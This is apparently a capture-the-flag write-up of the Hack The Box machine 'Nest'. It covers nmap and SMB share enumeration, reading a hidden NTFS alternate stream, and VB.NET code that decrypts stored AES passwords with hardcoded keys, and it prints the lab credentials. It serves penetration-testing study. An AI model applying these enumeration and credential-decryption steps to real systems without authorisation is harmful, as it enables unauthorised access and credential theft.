Introduction
Nest has a lot of twist, it is like playing a RPG game which I need to gather materials to forge the ultimate weapon for the final boss.
I have gain knowledge on operating within a smb share environment, at first I did things stupidly but then I realize I should use recurse on
to make things easier and not to miss out any directories within the shares.
There is a file which is 0 byte, at first I downloaded this file and remove it as there was no content, then later I use allinfo
within the smb share to find the description of the file and realize it is an alternate stream file and the stream name is Password…
There are some meddling with visual basic, fortunately I do not need to be a VB expert to figure how to stitch the codes together as one big piece and to know what the codes are doing.
This machine is rated as easy, in fact it is not so easy, this machine should be medium or hard in my opinion…
For this machine I am using ILspy instead of dnSpy, as ILspy can be run in linux as a .net decompiler.
This time I am keeping a log to document what I had done so that I can refer to my log and see what have I missed and it turned out to be very helpful and I saved a lot of time because of note keeping.
I am using an online .net compiler to help me run the codes here is the link https://dotnetfiddle.net/
nmap enumeration
nmap -A -p- -oN nmap_all -vvv -T4 -Pn 10.10.10.178
Only two ports are scanned… No good old evil-winrm this time to gain access… but psexec can still be used perhaps?
Does SMB allows anonymous login?
Yes, these are the shares allowed: Data, IPC$, Secure$, Users, well allowed does not mean I can enumerate the share it just means smb shares allow anonymous connection that’s all.
Let’s go through different shares one by one. Use the recurse on
command to do listing recursively.
Data
Download all the files that anonymous can access.
Data share is the only share that anonymous can do listing and download.
Finding the clues downloaded by anonymous
Reading the Maintenace Alert.txt does not yield any useful information.
Found the password for TempUser.
Enumerate the shares with TempUser
smbmap -u TempUser -p welcome2019 -H 10.10.10.178
Without guessing, TempUser can connect to three shares namely – Data, Secure$ and Users.
Users share
smbclient //10.10.10.178/Users -U TempUser
The New Text Document.txt is the only file that TempUser can download, but it is 0 byte.
A check on the 0 byte text file reveals that the file has no alternate stream (NTFS alternate stream) name, a lesson learned is that any file in the shares that are 0 byte I should always use allinfo
to check on it.
Secure$ share
Nothing can be downloaded.
Data share
smbclient //10.10.10.178/Data -U TempUser
Turns out there are a lot of things to download.
From: \\IT\\Configs\\RU\ Scanner\\RU_config.xml
I found the password of c.smith, this password is encrypted and not base64 encoded, hence i need to find the key to decrypt the ciphertext.
From: \IT\Configs\NotepadPlusPlus\config.xml
I found a path to access c.smith in Secure$ share, which previously TempUser had failed to do listing.
Back to Secure$ share
//10.10.10.178/Secure$ -U tempuser
This time I am going directly to Carl’s directory.
The visual basic source codes are found in IT\carl\VB Projects\WIP\RU\RUScanner\
.
The most important pieces are:
- \IT\carl\VB Projects\WIP\RU\RUScanner\ConfigFile.vb
- \IT\carl\VB Projects\WIP\RU\RUScanner\Module1.vb
- \IT\carl\VB Projects\WIP\RU\RUScanner\SsoIntegration.vb
- \IT\carl\VB Projects\WIP\RU\RUScanner\Utils.vb
These pieces will be stitched together to decrypt c.smith password.
Always remember to download whichever items you can within the smb share,
smb: \c.smith\hqk reporting\Ad Integration module\> dir . D 0 Fri Aug 9 20:18:42 2019 .. D 0 Fri Aug 9 20:18:42 2019 HqkLdap.exe A 17408 Thu Aug 8 07:41:16 2019
I downloaded the binary, which at later stage is a crucial part to get root.
Find Carl’s (c.smith) password
I read the codes and understood the following from Utils.vb.
Initializing Vector (IV): 464R5DFA5DL6LE28
Passphrase: N3st22
Salt: 88552299
Iteration: 2
Key size: 256
I used https://dotnetfiddle.net/ and stitched the VB codes together, I remove the encryption part as those are not needed, the final version of the code to find Carl’s password is below, I added Console.WriteLine(plainText)
in the Decrypt function so that the password is revealed.
Imports System.Text Imports System.Security.Cryptography Imports System Imports System.Reflection Imports System.Runtime.InteropServices Public Class Utils Public Class ConfigFile Public Property Port As Integer Public Property Username As String Public Property Password As String Public Sub SaveToFile(Path As String) Using File As New IO.FileStream(Path, IO.FileMode.Create) Dim Writer As New Xml.Serialization.XmlSerializer(GetType(ConfigFile)) Writer.Serialize(File, Me) End Using End Sub Public Shared Function LoadFromFile(ByVal FilePath As String) As ConfigFile Using File As New IO.FileStream(FilePath, IO.FileMode.Open) Dim Reader As New Xml.Serialization.XmlSerializer(GetType(ConfigFile)) Return DirectCast(Reader.Deserialize(File), ConfigFile) End Using End Function End Class Public Shared Function GetLogFilePath() As String Return IO.Path.Combine(Environment.CurrentDirectory, "Log.txt") End Function Public Shared Function DecryptString(EncryptedString As String) As String If String.IsNullOrEmpty(EncryptedString) Then Return String.Empty Else Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256) End If End Function Public Shared Function Decrypt(ByVal cipherText As String, _ ByVal passPhrase As String, _ ByVal saltValue As String, _ ByVal passwordIterations As Integer, _ ByVal initVector As String, _ ByVal keySize As Integer) _ As String Dim initVectorBytes As Byte() initVectorBytes = Encoding.ASCII.GetBytes(initVector) Dim saltValueBytes As Byte() saltValueBytes = Encoding.ASCII.GetBytes(saltValue) Dim cipherTextBytes As Byte() cipherTextBytes = Convert.FromBase64String(cipherText) Dim password As New Rfc2898DeriveBytes(passPhrase, _ saltValueBytes, _ passwordIterations) Dim keyBytes As Byte() keyBytes = password.GetBytes(CInt(keySize / 8)) Dim symmetricKey As New AesCryptoServiceProvider symmetricKey.Mode = CipherMode.CBC Dim decryptor As ICryptoTransform decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes) Dim memoryStream As IO.MemoryStream memoryStream = New IO.MemoryStream(cipherTextBytes) Dim cryptoStream As CryptoStream cryptoStream = New CryptoStream(memoryStream, _ decryptor, _ CryptoStreamMode.Read) Dim plainTextBytes As Byte() ReDim plainTextBytes(cipherTextBytes.Length) Dim decryptedByteCount As Integer decryptedByteCount = cryptoStream.Read(plainTextBytes, _ 0, _ plainTextBytes.Length) memoryStream.Close() cryptoStream.Close() Dim plainText As String plainText = Encoding.ASCII.GetString(plainTextBytes, _ 0, _ decryptedByteCount) Console.WriteLine(plainText) Return plainText End Function Public Class SsoIntegration Public Property Username As String Public Property Password As String End Class Sub Main() Dim test As New SsoIntegration With {.Username = "c.smith", .Password = Utils.DecryptString("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=")} End Sub End Class
Running the code the password is xRxRxPANCAK3SxRxRx
Get the user flag
With Carl’s password the flag is within reach, I logon to smb smbclient //10.10.10.178/Users -U c.smith
Find the debug password of HQK reporting server
With c.smith account I further enumerate and found a 0 byte file – debug mode password.txt
, at first i downloaded and deleted as there was no content and I was stucked in finding the next clue. The I got this https://www.samba.org/samba/docs/current/man-html/smbclient.1.html, so I went back to use allinfo "debug mode password.txt"
, allinfo returns the information about a file including its stream.
See the below screenshot to briefly understand what happens when I use alternate stream:
So base on the above screenshot logic, allinfo is telling me that Password is the name of the stream.
In smb use more "debug mode password.txt:Password"
Find clues to root
There is a port 4386 which is a HQK reporting service, this service interacts with the backend MSSQL server to get queries without the need to know the SQL syntax. To access this use telnet 10.10.10.178 4386
I cannot do much if debug is not turn on, but I can enumerate the directories that HQK server allows.
I do path enumeration with the SETDIR
command.
With debug turn on I can read the contents of the ldap.conf file.
Debug mode
with the debug password debug WBQ201953D8w
Notice more commands are available after debug is turned on.
Read ldap.config
showquery 2
, the contents of ldap.config reveals the Administrator’s password in ciphertext.
Decompile the hqkldap.exe
I downloaded the hqkldap.exe from the Users share in this directory \c.smith\hqk reporting\Ad Integration module\
I am using ILspy to help me decompile the .net binary, ILspy can be run from Linux.
The reason to decompile the program is to find out the IV, salt, iteration, passphrase and keysize.
From the codes these are the findings:
Passphrase = “667912”;
IV = “1L1SA61493DRV53Z”;
Salt = “1313Rf99”;
Interation = 3
key size = 256
Privilege escalation
Using my stitched codes I use https://dotnetfiddle.net/ to help me compile and give me the Administrator’s password.
The codes are the same only the parameters are different:
Imports System.Text Imports System.Security.Cryptography Imports System Imports System.Reflection Imports System.Runtime.InteropServices Public Class Utils Public Class ConfigFile Public Property Port As Integer Public Property Username As String Public Property Password As String Public Sub SaveToFile(Path As String) Using File As New IO.FileStream(Path, IO.FileMode.Create) Dim Writer As New Xml.Serialization.XmlSerializer(GetType(ConfigFile)) Writer.Serialize(File, Me) End Using End Sub Public Shared Function LoadFromFile(ByVal FilePath As String) As ConfigFile Using File As New IO.FileStream(FilePath, IO.FileMode.Open) Dim Reader As New Xml.Serialization.XmlSerializer(GetType(ConfigFile)) Return DirectCast(Reader.Deserialize(File), ConfigFile) End Using End Function End Class Public Shared Function GetLogFilePath() As String Return IO.Path.Combine(Environment.CurrentDirectory, "Log.txt") End Function Public Shared Function DecryptString(EncryptedString As String) As String If String.IsNullOrEmpty(EncryptedString) Then Return String.Empty Else Return Decrypt(EncryptedString, "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256) End If End Function Public Shared Function Decrypt(ByVal cipherText As String, _ ByVal passPhrase As String, _ ByVal saltValue As String, _ ByVal passwordIterations As Integer, _ ByVal initVector As String, _ ByVal keySize As Integer) _ As String Dim initVectorBytes As Byte() initVectorBytes = Encoding.ASCII.GetBytes(initVector) Dim saltValueBytes As Byte() saltValueBytes = Encoding.ASCII.GetBytes(saltValue) Dim cipherTextBytes As Byte() cipherTextBytes = Convert.FromBase64String(cipherText) Dim password As New Rfc2898DeriveBytes(passPhrase, _ saltValueBytes, _ passwordIterations) Dim keyBytes As Byte() keyBytes = password.GetBytes(CInt(keySize / 8)) Dim symmetricKey As New AesCryptoServiceProvider symmetricKey.Mode = CipherMode.CBC Dim decryptor As ICryptoTransform decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes) Dim memoryStream As IO.MemoryStream memoryStream = New IO.MemoryStream(cipherTextBytes) Dim cryptoStream As CryptoStream cryptoStream = New CryptoStream(memoryStream, _ decryptor, _ CryptoStreamMode.Read) Dim plainTextBytes As Byte() ReDim plainTextBytes(cipherTextBytes.Length) Dim decryptedByteCount As Integer decryptedByteCount = cryptoStream.Read(plainTextBytes, _ 0, _ plainTextBytes.Length) memoryStream.Close() cryptoStream.Close() Dim plainText As String plainText = Encoding.ASCII.GetString(plainTextBytes, _ 0, _ decryptedByteCount) Console.WriteLine(plainText) Return plainText End Function Public Class SsoIntegration Public Property Username As String Public Property Password As String End Class Sub Main() Dim test As New SsoIntegration With {.Username = "Administrator", .Password = Utils.DecryptString("yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=")} End Sub End Class
Running the code the password is XtH4nkS4Pl4y1nGX
Heading back the smb users share I use adminstrator account to login, and downloaded the shortcut to the root.txt.
the shortcut tells me the path to get the actual root.txt.
\\Htb-nest\c$\Users\Administrator\Desktop\flag.txt\\Htb-nest\c$\Users\Administrator\Desktop\flag.txt
So I login to smb C$ share with administrator account:
PKDF2 key derivation
In the hunt for root, I have read about the PKDF2, this algorithm requires IV, Salt, key size, iteration and a passphrase to derive the key, which the key then use to encrypt and decrypt the data.
References:
https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.rfc2898derivebytes?view=netcore-3.1
https://en.wikipedia.org/wiki/PBKDF2